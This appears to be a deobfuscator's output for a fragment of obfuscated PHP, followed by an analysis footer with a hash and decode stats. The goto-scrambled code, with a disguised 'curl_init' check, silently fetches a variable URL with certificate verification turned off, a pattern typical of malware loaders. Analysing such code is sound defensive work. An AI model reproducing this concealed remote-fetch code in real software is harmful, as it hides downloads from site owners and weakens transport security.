return $IzM8j; goto t3k1b; dQ5Uy: curl_setopt($O4ZOh, CURLOPT_CONNECTTIMEOUT, 30); goto mdqU1; hXQ7O: $IzM8j = ''; goto Tl2ME; TRpfZ: curl_setopt($O4ZOh, CURLOPT_SSL_VERIFYHOST, 0); goto O9qNO; k7y6G: $O4ZOh = curl_init(); goto LQLbV; RX1lB: D4r8y: goto lwBtw; DwxpC: curl_close($O4ZOh); goto yjhEh; Tl2ME: if (!function_exists(base64_decode("\131\x33\126\x79\x62\106\x39\160\x62\155\x6c\60"))) { goto Someb; } goto k7y6G; mdqU1: $IzM8j = curl_exec($O4ZOh); goto DwxpC; HrrVq: if ($IzM8j) { goto D4r8y; } goto fpvpc; O9qNO: curl_setopt($O4ZOh, CURLOPT_SSL_VERIFYPEER, 0); goto AzkxO; AzkxO: curl_setopt($O4ZOh, CURLOPT_RETURNTRANSFER, 1); goto dQ5Uy; fpvpc: $IzM8j = @file_get_contents($MYwRJ); goto RX1lB; yjhEh: Someb: goto HrrVq; LQLbV: curl_setopt($O4ZOh, CURLOPT_URL, $MYwRJ); goto TRpfZ; t3k1b: }

Function Calls

None

Variables

None

Stats

MD5 f4f9865717562cda275f83f4ef2469b6
Eval Count 0
Decode Time 36 ms